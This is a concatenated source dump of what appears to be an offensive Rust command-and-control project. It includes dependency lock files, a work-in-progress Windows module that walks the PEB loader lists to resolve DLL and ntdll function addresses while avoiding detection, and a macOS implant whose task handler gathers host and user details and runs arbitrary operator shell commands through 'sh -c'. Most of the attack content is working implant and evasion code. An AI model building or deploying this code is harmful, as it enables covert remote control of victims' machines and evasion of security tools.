"registry+https://github.com/rust-lang/crates.io-index" 136 | checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263" 137 | 138 | [[package]] 139 | name = "windows_aarch64_msvc" 140 | version = "0.52.5" 141 | source = "registry+https://github.com/rust-lang/crates.io-index" 142 | checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6" 143 | 144 | [[package]] 145 | name = "windows_i686_gnu" 146 | version = "0.52.5" 147 | source = "registry+https://github.com/rust-lang/crates.io-index" 148 | checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670" 149 | 150 | [[package]] 151 | name = "windows_i686_gnullvm" 152 | version = "0.52.5" 153 | source = "registry+https://github.com/rust-lang/crates.io-index" 154 | checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9" 155 | 156 | [[package]] 157 | name = "windows_i686_msvc" 158 | version = "0.52.5" 159 | source = "registry+https://github.com/rust-lang/crates.io-index" 160 | checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf" 161 | 162 | [[package]] 163 | name = "windows_x86_64_gnu" 164 | version = "0.52.5" 165 | source = "registry+https://github.com/rust-lang/crates.io-index" 166 | checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9" 167 | 168 | [[package]] 169 | name = "windows_x86_64_gnullvm" 170 | version = "0.52.5" 171 | source = "registry+https://github.com/rust-lang/crates.io-index" 172 | checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596" 173 | 174 | [[package]] 175 | name = "windows_x86_64_msvc" 176 | version = "0.52.5" 177 | source = "registry+https://github.com/rust-lang/crates.io-index" 178 | checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0" 179 | -------------------------------------------------------------------------------- /modules_wip/noldr/src/main.rs: -------------------------------------------------------------------------------- 1 | //use std::arch::asm; 2 | //use std::ffi::c_void; 3 | //use std::os::raw::{c_long, c_ulong}; 4 | //use std::ptr::null_mut; 5 | //use windows::Win32::System::Threading::{PEB, TEB}; 6 | 7 | use noldr::{get_dll_address, list_all_dlls}; 8 | //use noldr::get_function_address; 9 | use noldr::get_teb; 10 | //use noldr::get_current_process_handle; 11 | 12 | 13 | //println!("Hello, world!"); 14 | 15 | /*Progranm description 16 | 17 | A program which aims to use a novel technique to locate functions and function addresses inside the already loaded 18 | (shared) ntdll. in order to do this, we'll need to first locate and walk the PEB or Process Environment Block. 19 | We could start by calling NtQueryInformationProcess, which is fairly opsec safe, but we'll try to get weirder 20 | and call an ancient windows macro NtCurrentTEB which will read directly from the process memory of the CPU 21 | to get a pointer to the TEB, which we can use to get a pointer to the PEB. */ 22 | 23 | // NtCurrentTEB is a macro that reads the FS register to get the TEB 24 | // The TEB is a structure that contains a pointer to the PEB 25 | // The PEB is a structure that contains a pointer to the LDR_DATA_TABLE_ENTRY 26 | // The LDR_DATA_TABLE_ENTRY is a structure that contains a pointer to the DLL base address 27 | // The DLL base address is the base address of the ntdll.dll 28 | // The ntdll.dll contains the function addresses of the functions we want to call 29 | 30 | // The first step is to get the TEB 31 | // The TEB is located at the FS register 32 | // The FS register is a segment register that points to the Thread Environment Block (TEB) 33 | // The TEB is a structure that contains a pointer to the PEB 34 | // The PEB is a structure that contains a pointer to the LDR_DATA_TABLE_ENTRY 35 | // The LDR_DATA_TABLE_ENTRY is a structure that contains a pointer to the DLL base address 36 | // The DLL base address is the base address of the ntdll.dll 37 | // The ntdll.dll contains the function addresses of the functions we want to call 38 | 39 | // The second step is to get the PEB 40 | 41 | // The third step is to get the LDR_DATA_TABLE_ENTRY 42 | 43 | // The fourth step is to get the DLL base address 44 | 45 | // The fifth step is to get the function addresses 46 | 47 | // The sixth step is to call the functions 48 | 49 | // For this proof of concept, we will call NtCreateProcess and launch calculator 50 | 51 | // The first step is to get the TEB by calling NtCurrentTEB 52 | /* 53 | #[macro_use] 54 | extern crate memoffset; 55 | 56 | macro_rules! container_of { 57 | ($ptr:expr, $type:ty, $field:ident) => {{ 58 | (($ptr as usize) - offset_of!($type, $field)) as *const $type 59 | }}; 60 | } 61 | */ 62 | /* 63 | type PHANDLE = *mut HANDLE; 64 | type ACCESS_MASK = u32; 65 | type POBJECT_ATTRIBUTES = *mut c_void; 66 | type HANDLE = *mut c_void; 67 | type BOOLEAN = u8; 68 | type NTSTATUS = c_long; 69 | 70 | type NtCreateProcessType = unsafe extern "system" fn( 71 | ProcessHandle: PHANDLE, 72 | DesiredAccess: ACCESS_MASK, 73 | ObjectAttributes: POBJECT_ATTRIBUTES, 74 | ParentProcess: HANDLE, 75 | InheritObjectTable: BOOLEAN, 76 | SectionHandle: HANDLE, 77 | DebugPort: HANDLE, 78 | ExceptionPort: HANDLE, 79 | ) -> NTSTATUS; 80 | */ 81 | fn main() { 82 | 83 | //gather command line arguments into an array 84 | /* 85 | let args: Vec = std::env::args().collect(); 86 | 87 | //if no args are given, print usage and exit 88 | 89 | if args.len() < 3 { 90 | println!("Usage: noldr "); 91 | std::process::exit(1); 92 | } 93 | 94 | let dll_name = &args[1]; 95 | let function_name = &args[2]; 96 | */ 97 | //println!("Hello, world!"); 98 | /*let nt_create_process: NtCreateProcessType = unsafe { 99 | std::mem::transmute(noloader( 100 | "ntdll.dll".to_string(), 101 | "NtCreateProcess".to_string(), 102 | )) 103 | };*/ 104 | let teb = get_teb(); 105 | //return list of dlls 106 | let dlls = list_all_dlls(teb); 107 | println!("dlls: {:?}", dlls); 108 | let dll_base_address = get_dll_address("kERnel32.DLL".to_string(), teb).unwrap(); 109 | println!("dll_base_address: {:?}", dll_base_address); 110 | /* 111 | let dll_base = get_dll_address(dll_name.to_string(), teb).unwrap(); 112 | println!("dll_base: {:?}", dll_base); 113 | println!("function_name: {}", function_name); 114 | let function_address = 115 | get_function_address(dll_base, &function_name).unwrap(); 116 | 117 | println!("function_address: {:?}", function_address); 118 | 119 | let mut peb_address: *const PEB = std::ptr::null(); 120 | 121 | peb_address = unsafe { (*teb).ProcessEnvironmentBlock }; // Correct way to get PEB address 122 | 123 | let mut process_handle: HANDLE = null_mut(); 124 | //let parent_process: HANDLE = null_mut(); 125 | let parent_process = get_current_process_handle(peb_address); 126 | let process_attributes: *mut c_void = null_mut(); 127 | let inherit_handles: BOOLEAN = 1; 128 | let section_handle: HANDLE = null_mut(); 129 | let debug_port: HANDLE = null_mut(); 130 | let exception_port: HANDLE = null_mut(); 131 | 132 | let nt_create_process: NtCreateProcessType = unsafe { 133 | std::mem::transmute(function_address) 134 | }; 135 | 136 | let status = unsafe { 137 | nt_create_process( 138 | &mut process_handle as *mut HANDLE, 139 | 0x1FFFFF, // Desired access, adjust as needed 140 | process_attributes, 141 | parent_process, 142 | inherit_handles, 143 | section_handle, 144 | debug_port, 145 | exception_port, 146 | ) 147 | }; 148 | 149 | println!("NtCreateProcess returned: {:?}", status); 150 | println!("Process handle: {:?}", process_handle); 151 | // enable this section if you want to make sure the process is being created (check in taskman) 152 | //get the pid of the process 153 | let pid = unsafe { 154 | windows::Win32::System::Threading::GetProcessId( 155 | std::mem::transmute::<*mut c_void, windows::Win32::Foundation::HANDLE>(process_handle), // cast to HANDLE 156 | ) 157 | }; 158 | 159 | println!("Process ID: {:?}", pid); 160 | 161 | //next we can call NtCreateThreadEx to create a new thread in the process 162 | // but we'll leave that for another day 163 | //wait for user input to continue 164 | let mut input = String::new(); 165 | std::io::stdin().read_line(&mut input).unwrap();*/ 166 | } -------------------------------------------------------------------------------- /imps/macimp/src/func.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | extern crate libc; 3 | use std::ffi::{CStr, CString}; 4 | use std::os::raw::c_char; 5 | use std::process::Command; 6 | use libc::{getpwuid, getuid, getpid}; 7 | use libc::{sysctlbyname, c_void}; 8 | 9 | //change get username to show hostname/username 10 | pub fn get_username() -> String { 11 | //add error handling 12 | //env::var("USER").ok().unwrap() 13 | //can we use libc as a fallback 14 | let pw = unsafe { getpwuid(getuid()) }; 15 | if pw.is_null() { 16 | panic!("Failed to get user information"); 17 | } 18 | 19 | let username_cstr = unsafe { CStr::from_ptr((*pw).pw_name as *const c_char) }; 20 | let username_str = username_cstr.to_string_lossy().into_owned(); 21 | 22 | let hostname = get_hostname(); 23 | 24 | format!("{}/{}", hostname, username_str) 25 | 26 | //username_str 27 | } 28 | 29 | pub fn get_hostname() -> String { 30 | let mut buf = [0u8; 64]; 31 | unsafe { 32 | libc::gethostname(buf.as_mut_ptr() as *mut libc::c_char, buf.len()); 33 | CStr::from_ptr(buf.as_ptr() as *const libc::c_char) 34 | .to_string_lossy() 35 | .into_owned() 36 | } 37 | } 38 | 39 | pub fn fake_get_external_ip() -> String { 40 | String::from("xxx.xxx.xxx.xxx") 41 | } 42 | 43 | pub fn get_version() -> String { 44 | let name = match CString::new("kern.osproductversion") { 45 | Ok(name) => name, 46 | Err(_) => return "Error: Failed to create CString".to_string(), 47 | }; 48 | let mut size: libc::size_t = 0; 49 | 50 | let ret = unsafe { 51 | sysctlbyname(name.as_ptr(), std::ptr::null_mut(), &mut size, std::ptr::null_mut(), 0) 52 | }; 53 | if ret != 0 { 54 | return "Error: sysctlbyname failed to get size".to_string(); 55 | } 56 | 57 | let mut buf = vec![0u8; size]; 58 | let ret = unsafe { 59 | sysctlbyname(name.as_ptr(), buf.as_mut_ptr() as *mut c_void, &mut size, std::ptr::null_mut(), 0) 60 | }; 61 | if ret != 0 { 62 | return "Error: sysctlbyname failed to get value".to_string(); 63 | } 64 | 65 | let version = unsafe { 66 | CStr::from_ptr(buf.as_ptr() as *const c_char) 67 | .to_string_lossy() 68 | .into_owned() 69 | }; 70 | 71 | format!("MacOS {}", version) 72 | } 73 | 74 | pub fn get_pid() -> String { 75 | let pid = unsafe { libc::getpid() }; 76 | pid.to_string() 77 | } 78 | 79 | pub fn get_process_name() -> String { 80 | let mut buf = [0u8; 1024]; 81 | let ret = unsafe { 82 | libc::proc_name(libc::getpid(), buf.as_mut_ptr() as *mut libc::c_void, buf.len() as u32) 83 | }; 84 | if ret <= 0 { 85 | return "Error: Failed to get process name".to_string(); 86 | } 87 | 88 | let process_name = unsafe { 89 | CStr::from_ptr(buf.as_ptr() as *const c_char) 90 | .to_string_lossy() 91 | .into_owned() 92 | }; 93 | 94 | process_name 95 | } 96 | 97 | pub fn run_tasks(tasks: String) -> String { 98 | let mut output = String::new(); 99 | 100 | for task in tasks.split(',') { 101 | println!("[run_tasks] Received task: {}", task); 102 | //split arguments 103 | let arg_split = task.split(' '); 104 | let args = arg_split.collect::>(); 105 | //match task.trim() { 106 | match args[0] { 107 | //uses the first argument to determine the task 108 | //not whoami in the terminal, but opsec safe version using dynamic loading of native functions 109 | "whoami" => { 110 | //output.push_str(&execute_whoami()); 111 | //TODO, replace with a check that also gets privileges 112 | output.push_str(&get_username()); 113 | //output.push_str(&format!("{}/{}", get_hostname(), get_username())); 114 | } 115 | //TODO: change to dir in server and then change to dir here 116 | "pwd" => { 117 | output.push_str(&get_cwd()); 118 | } 119 | "ls" => { 120 | output.push_str(&list_files()); 121 | } 122 | "sh" | "shell" => { 123 | //execute the shell function 124 | //this will execute the command in a mac terminal 125 | //and return the output 126 | output.push_str(&shell(args)); 127 | } 128 | //add a function to kill the implant 129 | "kill" => { 130 | output.push_str("killing implant..."); 131 | kill(); 132 | } 133 | _ => { 134 | println!("[run_tasks] Unknown task: {}", task); 135 | output.push_str(&format!("Unknown task: {}\n", task)); 136 | } 137 | } 138 | } 139 | 140 | //if !output.is_empty() { 141 | // println!("[run_tasks] Task output: {}", output); 142 | //} 143 | 144 | output 145 | } 146 | 147 | fn kill () { 148 | //kill the process 149 | unsafe { 150 | libc::kill(libc::getpid(), libc::SIGKILL); 151 | } 152 | } 153 | 154 | // return current working directory 155 | pub fn get_cwd() -> String { 156 | let cwd = env::current_dir().unwrap(); 157 | cwd.to_str().unwrap().to_string() 158 | } 159 | 160 | //return list of files in current directory 161 | pub fn list_files() -> String { 162 | let mut output = String::new(); 163 | let paths = std::fs::read_dir(".").unwrap(); 164 | for path in paths { 165 | let path = path.unwrap().path(); 166 | output.push_str(&format!("{}\n", path.display())); 167 | } 168 | output 169 | } 170 | 171 | pub fn shell(args: Vec<&str>) -> String { 172 | //capture the command from the args, which is in the 2nd position 173 | if args.len() > 1 { 174 | //if the command is more than one word, join them 175 | let command = args[1..].join(" "); 176 | 177 | match Command::new("sh") 178 | .arg("-c") 179 | .arg(&command) 180 | .output() { 181 | Ok(output) => { 182 | if !output.stderr.is_empty() { 183 | return String::from_utf8_lossy(&output.stderr).to_string(); 184 | } 185 | else { 186 | return String::from_utf8_lossy(&output.stdout).to_string(); 187 | } 188 | } 189 | Err(e) => { 190 | String::from("Command failed to execute") 191 | } 192 | } 193 | } else { 194 | "No command provided".to_string() 195 | } 196 | } -------------------------------------------------------------------------------- /modules_wip/noldr/src/lib.rs: -------------------------------------------------------------------------------- 1 | //allow unused assignments 2 | #![allow(unused_assignments)] 3 | 4 | use windows::Win32::System::Diagnostics::Debug::IMAGE_NT_HEADERS64; 5 | use windows::Win32::System::SystemServices::IMAGE_DOS_HEADER; 6 | use windows::Win32::System::SystemServices::IMAGE_EXPORT_DIRECTORY; 7 | use windows::Win32::System::Threading::{PEB, TEB}; 8 | use windows::Win32::System::WindowsProgramming::LDR_DATA_TABLE_ENTRY; 9 | use std::arch::asm; 10 | use std::ffi::c_void; 11 | 12 | /*Progranm description 13 | 14 | A program which aims to use a novel technique to locate functions and function addresses inside the already loaded 15 | (shared) ntdll. in order to do this, we'll need to first locate and walk the PEB or Process Environment Block. 16 | We could start by calling NtQueryInformationProcess, which is fairly opsec safe, but we'll try to get weirder 17 | and call an ancient windows macro NtCurrentTEB which will read directly from the process memory of the CPU 18 | to get a pointer to the TEB, which we can use to get a pointer to the PEB. */ 19 | 20 | // NtCurrentTEB is a macro that reads the FS register to get the TEB 21 | // The TEB is a structure that contains a pointer to the PEB 22 | // The PEB is a structure that contains a pointer to the LDR_DATA_TABLE_ENTRY 23 | // The LDR_DATA_TABLE_ENTRY is a structure that contains a pointer to the DLL base address 24 | // The DLL base address is the base address of the ntdll.dll 25 | // The ntdll.dll contains the function addresses of the functions we want to call 26 | 27 | // The first step is to get the TEB 28 | // The second step is to get the PEB 29 | // The third step is to get the LDR_DATA_TABLE_ENTRY 30 | // The fourth step is to get the DLL base address 31 | // The fifth step is to get the function addresses 32 | // The sixth step is to call the functions 33 | 34 | // The first step is to get the TEB by calling NtCurrentTEB 35 | 36 | #[macro_use] 37 | extern crate memoffset; 38 | 39 | macro_rules! container_of { 40 | ($ptr:expr, $type:ty, $field:ident) => {{ 41 | (($ptr as usize) - offset_of!($type, $field)) as *const $type 42 | }}; 43 | } 44 | 45 | #[inline] 46 | pub fn get_teb() -> *const TEB { 47 | let teb: *const TEB; 48 | unsafe { 49 | asm!("mov {}, gs:[0x30]", out(reg) teb); // x64 specific 50 | } 51 | teb 52 | } 53 | 54 | type HANDLE = *mut c_void; 55 | 56 | pub fn get_dll_address(dll_name: String, teb: *const TEB) -> Option<*const c_void> { 57 | let mut peb_address: *const PEB = std::ptr::null(); 58 | let dll_name_lower = dll_name.to_lowercase(); // Convert the input dll_name to lowercase 59 | unsafe { 60 | if !teb.is_null() { 61 | peb_address = (*teb).ProcessEnvironmentBlock; 62 | let ldr_data = (*peb_address).Ldr; 63 | if !ldr_data.is_null() { 64 | let list_entry = (*ldr_data).InMemoryOrderModuleList.Flink; 65 | if !list_entry.is_null() { 66 | let mut current_entry = 67 | container_of!(list_entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); 68 | loop { 69 | let dll_base = (*current_entry).DllBase; 70 | let dll_name_in_memory = (*current_entry).FullDllName.Buffer.as_ptr(); 71 | let dll_name_len = (*current_entry).FullDllName.Length as usize / 2; 72 | 73 | // Convert the DLL name to a Rust string and make it lowercase for case-insensitive comparison 74 | let dll_name_in_memory = std::slice::from_raw_parts(dll_name_in_memory, dll_name_len); 75 | let dll_name_in_memory = String::from_utf16_lossy(dll_name_in_memory).to_lowercase(); 76 | 77 | if dll_name_in_memory.ends_with(&dll_name_lower) { 78 | return Some(dll_base); 79 | } 80 | 81 | // Move to the next entry 82 | let next_entry = (*current_entry).InMemoryOrderLinks.Flink; 83 | if next_entry == list_entry { 84 | // We've looped back to the start of the list, so the DLL was not found 85 | break; 86 | } 87 | current_entry = container_of!(next_entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); 88 | } 89 | } 90 | } 91 | } 92 | } 93 | None 94 | } 95 | 96 | pub fn get_function_address(ntdll_base: *const c_void, function_name: &str) -> Option<*const c_void> { 97 | unsafe { 98 | let dos_header = &*(ntdll_base as *const IMAGE_DOS_HEADER); 99 | let nt_headers = 100 | &*((ntdll_base as usize + dos_header.e_lfanew as usize) as *const IMAGE_NT_HEADERS64); 101 | let export_directory_rva = nt_headers.OptionalHeader.DataDirectory[0].VirtualAddress; 102 | let export_directory = &*((ntdll_base as usize + export_directory_rva as usize) 103 | as *const IMAGE_EXPORT_DIRECTORY); 104 | 105 | let names_rva = export_directory.AddressOfNames; 106 | let functions_rva = export_directory.AddressOfFunctions; 107 | let ordinals_rva = export_directory.AddressOfNameOrdinals; 108 | 109 | let names = std::slice::from_raw_parts( 110 | (ntdll_base as usize + names_rva as usize) as *const u32, 111 | export_directory.NumberOfNames as usize, 112 | ); 113 | let ordinals = std::slice::from_raw_parts( 114 | (ntdll_base as usize + ordinals_rva as usize) as *const u16, 115 | export_directory.NumberOfNames as usize, 116 | ); 117 | 118 | for i in 0..export_directory.NumberOfNames as usize { 119 | let name_ptr = (ntdll_base as usize + names[i] as usize) as *const u8; 120 | let name = std::ffi::CStr::from_ptr(name_ptr as *const i8) 121 | .to_str() 122 | .unwrap_or_default(); 123 | if name == function_name { 124 | let ordinal = ordinals[i] as usize; 125 | let function_rva = 126 | *((ntdll_base as usize + functions_rva as usize) as *const u32).add(ordinal); 127 | return Some((ntdll_base as usize + function_rva as usize) as *const c_void); 128 | } 129 | } 130 | } 131 | None 132 | } 133 | 134 | // Function to get the current process handle 135 | pub fn get_current_process_handle(_peb: *const PEB) -> HANDLE { 136 | // NtCurrentProcess is a pseudo-handle that always represents the current process. 137 | // It's a special constant that doesn't need to be closed. 138 | const NT_CURRENT_PROCESS: HANDLE = -1isize as HANDLE; 139 | 140 | // Return the pseudo-handle for the current process 141 | NT_CURRENT_PROCESS 142 | } 143 | 144 | //use std::ffi::c_void; 145 | 146 | pub fn list_all_dlls(teb: *const TEB) -> Vec<(String, *mut c_void)> { 147 | let mut dll_list = Vec::new(); 148 | let mut peb_address: *const PEB = std::ptr::null(); 149 | unsafe { 150 | if !teb.is_null() { 151 | peb_address = (*teb).ProcessEnvironmentBlock; 152 | let ldr_data = (*peb_address).Ldr; 153 | if !ldr_data.is_null() { 154 | let list_entry = (*ldr_data).InMemoryOrderModuleList.Flink; 155 | if !list_entry.is_null() { 156 | let mut current_entry = container_of!(list_entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); 157 | loop { 158 | let dll_base = (*current_entry).DllBase; 159 | let dll_name_in_memory = (*current_entry).FullDllName.Buffer.as_ptr(); 160 | let dll_name_len = (*current_entry).FullDllName.Length as usize / 2; 161 | 162 | // Convert the DLL name to a Rust string 163 | let dll_name_in_memory = std::slice::from_raw_parts(dll_name_in_memory, dll_name_len); 164 | let dll_name = String::from_utf16_lossy(dll_name_in_memory); 165 | 166 | // Add the DLL name and base address to the list 167 | dll_list.push((dll_name, dll_base)); 168 | 169 | // Move to the next entry 170 | let next_entry = (*current_entry).InMemoryOrderLinks.Flink; 171 | if next_entry == list_entry { 172 | // We've looped back to the start of the list 173 | break; 174 | } 175 | current_entry = container_of!(next_entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); 176 | } 177 | } 178 | } 179 | } 180 | } 181 | dll_list 182 | } 183 | -------------------------------------------------------------------------------- /modules_wip/oxide_ldr/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "autocfg" 7 | version = "1.3.0" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "0c4b4d0bd25bd0b74681c0ad21497610ce1b7c91b1022cd21c80c6fbdd9476b0" 10 | 11 | [[package]] 12 | name = "cfg-if" 13 | version = "1.0.0" 14 | source = "registry+https://github.com/rust-lang/crates.io-index" 15 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 16 | 17 | [[package]] 18 | name = "clroxide" 19 | version = "1.1.1" 20 | source = "registry+https://github.com/rust-lang/crates.io-index" 21 | checksum = "281a172ac3da6f4bed28fa7078c514d348f04d0540288dd79d2854c9a60b4ef3" 22 | dependencies = [ 23 | "windows 0.46.0", 24 | ] 25 | 26 | [[package]] 27 | name = "getrandom" 28 | version = "0.2.15" 29 | source = "registry+https://github.com/rust-lang/crates.io-index" 30 | checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" 31 | dependencies = [ 32 | "cfg-if", 33 | "libc", 34 | "wasi", 35 | ] 36 | 37 | [[package]] 38 | name = "lazy_static" 39 | version = "1.4.0" 40 | source = "registry+https://github.com/rust-lang/crates.io-index" 41 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 42 | 43 | [[package]] 44 | name = "libc" 45 | version = "0.2.154" 46 | source = "registry+https://github.com/rust-lang/crates.io-index" 47 | checksum = "ae743338b92ff9146ce83992f766a31066a91a8c84a45e0e9f21e7cf6de6d346" 48 | 49 | [[package]] 50 | name = "litcrypt2" 51 | version = "0.1.2" 52 | source = "registry+https://github.com/rust-lang/crates.io-index" 53 | checksum = "4126aa57ac1b3dd20a5bc827a2972cdf74c619a4d6ae5660656408289e5bc60d" 54 | dependencies = [ 55 | "lazy_static", 56 | "proc-macro2", 57 | "quote", 58 | "rand", 59 | ] 60 | 61 | [[package]] 62 | name = "memoffset" 63 | version = "0.9.1" 64 | source = "registry+https://github.com/rust-lang/crates.io-index" 65 | checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a" 66 | dependencies = [ 67 | "autocfg", 68 | ] 69 | 70 | [[package]] 71 | name = "noldr" 72 | version = "0.1.0" 73 | dependencies = [ 74 | "memoffset", 75 | "windows 0.56.0", 76 | ] 77 | 78 | [[package]] 79 | name = "ntapi" 80 | version = "0.4.1" 81 | source = "registry+https://github.com/rust-lang/crates.io-index" 82 | checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4" 83 | dependencies = [ 84 | "winapi", 85 | ] 86 | 87 | [[package]] 88 | name = "oxide_ldr" 89 | version = "0.1.0" 90 | dependencies = [ 91 | "clroxide", 92 | "litcrypt2", 93 | "noldr", 94 | "ntapi", 95 | "winapi", 96 | ] 97 | 98 | [[package]] 99 | name = "ppv-lite86" 100 | version = "0.2.17" 101 | source = "registry+https://github.com/rust-lang/crates.io-index" 102 | checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" 103 | 104 | [[package]] 105 | name = "proc-macro2" 106 | version = "1.0.82" 107 | source = "registry+https://github.com/rust-lang/crates.io-index" 108 | checksum = "8ad3d49ab951a01fbaafe34f2ec74122942fe18a3f9814c3268f1bb72042131b" 109 | dependencies = [ 110 | "unicode-ident", 111 | ] 112 | 113 | [[package]] 114 | name = "quote" 115 | version = "1.0.36" 116 | source = "registry+https://github.com/rust-lang/crates.io-index" 117 | checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7" 118 | dependencies = [ 119 | "proc-macro2", 120 | ] 121 | 122 | [[package]] 123 | name = "rand" 124 | version = "0.8.5" 125 | source = "registry+https://github.com/rust-lang/crates.io-index" 126 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 127 | dependencies = [ 128 | "libc", 129 | "rand_chacha", 130 | "rand_core", 131 | ] 132 | 133 | [[package]] 134 | name = "rand_chacha" 135 | version = "0.3.1" 136 | source = "registry+https://github.com/rust-lang/crates.io-index" 137 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 138 | dependencies = [ 139 | "ppv-lite86", 140 | "rand_core", 141 | ] 142 | 143 | [[package]] 144 | name = "rand_core" 145 | version = "0.6.4" 146 | source = "registry+https://github.com/rust-lang/crates.io-index" 147 | checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" 148 | dependencies = [ 149 | "getrandom", 150 | ] 151 | 152 | [[package]] 153 | name = "syn" 154 | version = "2.0.65" 155 | source = "registry+https://github.com/rust-lang/crates.io-index" 156 | checksum = "d2863d96a84c6439701d7a38f9de935ec562c8832cc55d1dde0f513b52fad106" 157 | dependencies = [ 158 | "proc-macro2", 159 | "quote", 160 | "unicode-ident", 161 | ] 162 | 163 | [[package]] 164 | name = "unicode-ident" 165 | version = "1.0.12" 166 | source = "registry+https://github.com/rust-lang/crates.io-index" 167 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 168 | 169 | [[package]] 170 | name = "wasi" 171 | version = "0.11.0+wasi-snapshot-preview1" 172 | source = "registry+https://github.com/rust-lang/crates.io-index" 173 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 174 | 175 | [[package]] 176 | name = "winapi" 177 | version = "0.3.9" 178 | source = "registry+https://github.com/rust-lang/crates.io-index" 179 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 180 | dependencies = [ 181 | "winapi-i686-pc-windows-gnu", 182 | "winapi-x86_64-pc-windows-gnu", 183 | ] 184 | 185 | [[package]] 186 | name = "winapi-i686-pc-windows-gnu" 187 | version = "0.4.0" 188 | source = "registry+https://github.com/rust-lang/crates.io-index" 189 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 190 | 191 | [[package]] 192 | name = "winapi-x86_64-pc-windows-gnu" 193 | version = "0.4.0" 194 | source = "registry+https://github.com/rust-lang/crates.io-index" 195 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 196 | 197 | [[package]] 198 | name = "windows" 199 | version = "0.46.0" 200 | source = "registry+https://github.com/rust-lang/crates.io-index" 201 | checksum = "cdacb41e6a96a052c6cb63a144f24900236121c6f63f4f8219fef5977ecb0c25" 202 | dependencies = [ 203 | "windows-targets 0.42.2", 204 | ] 205 | 206 | [[package]] 207 | name = "windows" 208 | version = "0.56.0" 209 | source = "registry+https://github.com/rust-lang/crates.io-index" 210 | checksum = "1de69df01bdf1ead2f4ac895dc77c9351aefff65b2f3db429a343f9cbf05e132" 211 | dependencies = [ 212 | "windows-core", 213 | "windows-targets 0.52.5", 214 | ] 215 | 216 | [[package]] 217 | name = "windows-core" 218 | version = "0.56.0" 219 | source = "registry+https://github.com/rust-lang/crates.io-index" 220 | checksum = "4698e52ed2d08f8658ab0c39512a7c00ee5fe2688c65f8c0a4f06750d729f2a6" 221 | dependencies = [ 222 | "windows-implement", 223 | "windows-interface", 224 | "windows-result", 225 | "windows-targets 0.52.5", 226 | ] 227 | 228 | [[package]] 229 | name = "windows-implement" 230 | version = "0.56.0" 231 | source = "registry+https://github.com/rust-lang/crates.io-index" 232 | checksum = "f6fc35f58ecd95a9b71c4f2329b911016e6bec66b3f2e6a4aad86bd2e99e2f9b" 233 | dependencies = [ 234 | "proc-macro2", 235 | "quote", 236 | "syn", 237 | ] 238 | 239 | [[package]] 240 | name = "windows-interface" 241 | version = "0.56.0" 242 | source = "registry+https://github.com/rust-lang/crates.io-index" 243 | checksum = "08990546bf4edef8f431fa6326e032865f27138718c587dc21bc0265bbcb57cc" 244 | dependencies = [ 245 | "proc-macro2", 246 | "quote", 247 | "syn", 248 | ] 249 | 250 | [[package]] 251 | name = "windows-result" 252 | version = "0.1.2" 253 | source = "registry+https://github.com/rust-lang/crates.io-index" 254 | checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" 255 | dependencies = [ 256 | "windows-targets 0.52.5", 257 | ] 258 | 259 | [[package]] 260 | name = "windows-targets" 261 | version = "0.42.2" 262 | source = "registry+https://github.com/rust-lang/crates.io-index" 263 | checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" 264 | dependencies = [ 265 | "windows_aarch64_gnullvm 0.42.2", 266 | "windows_aarch64_msvc 0.42.2", 267 | "windows_i686_gnu 0.42.2", 268 | "windows_i686_msvc 0.42.2", 269 | "windows_x86_64_gnu 0.42.2", 270 | "windows_x86_64_gnullvm 0.42.2", 271 | "windows_x86_64_msvc 0.42.2", 272 | ] 273 | 274 | [[package]] 275 | name = "windows-targets" 276 | version = "0.52.5" 277 | source = "registry+https://github.com/rust-lang/crates.io-index" 278 | checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb" 279 | dependencies = [ 280 | "windows_aarch64_gnullvm 0.52.5", 281 | "windows_aarch64_msvc 0.52.5", 282 | "windows_i686_gnu 0.52.5", 283 | "windows_i686_gnullvm", 284 | "windows_i686_msvc 0.52.5", 285 | "windows_x86_64_gnu 0.52.5", 286 | "windows_x86_64_gnullvm 0.52.5", 287 | "windows_x86_64_msvc 0.52.5", 